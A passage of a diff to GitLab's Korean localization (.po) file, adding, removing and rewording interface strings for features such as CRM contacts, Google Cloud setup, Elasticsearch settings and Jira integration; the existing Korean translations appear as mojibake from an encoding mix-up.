msgstr "사용ìžê°€ 새로운 ê³„ì •ì„ ë§Œë“œëŠ” ë°©ë²•ì„ ì„¤ì •í•©ë‹ˆë‹¤."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "새 디렉토리 만들기"
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "태그"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "ê°œì¸ ì•¡ì„¸ìŠ¤ í† í° ë§Œë“¤ê¸°"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron 시간대"
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "대시보드"
@@ -10891,6 +11085,9 @@ msgstr "댓글 삭제"
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr "댓글 삭제"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr "호스트 키 발견"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr "디렉토리 ì´ë¦„"
msgid "Disable"
msgstr "사용 안 함"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "ë„ë©”ì¸"
@@ -12142,9 +12357,6 @@ msgstr "비추천"
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr "애플리케ì´ì…˜ 수정"
msgid "Edit comment"
msgstr "댓글 편집"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "설명 편집"
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr "Elasticsearch ì¸ë±ì‹± 시작ë¨"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Pseudonymizer ë°ì´í„° ìˆ˜ì§‘ì„ ì‚¬ìš©í•˜ê±°ë‚˜ 중지합니다."
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr "추가 작업"
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "ì´ê²ƒì„ 어떻게 í•´ê²°í•  수 있습니까?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr "프로ì íŠ¸ 둘러보기"
msgid "Explore public groups"
msgstr "공개 그룹 íƒìƒ‰"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "수정 날짜"
-
-msgid "Fixed due date"
-msgstr "ìˆ˜ì •ëœ ë§ˆê°ì¼"
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr "수정ë¨:"
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "ì´ì „으로"
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr "머릿글 메시지"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr "ID"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "주기 패턴"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr "ì´ìŠˆ ì´ë²¤íŠ¸"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr "ì´ìŠˆ"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr "ì´ìŠˆëŠ” 버그, ìž‘ì—… í˜¹ì€ ë…¼ì˜í•  ì•„ì´ë””ì–´ì¼ ìˆ˜ 있습니ë
msgid "Issues closed"
msgstr "ì´ìŠˆ 닫힘"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr "1ì›”"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr "모든 알림 관리"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "머지 ì´ë²¤íŠ¸"
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr "머지 리퀘스트(MR)"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
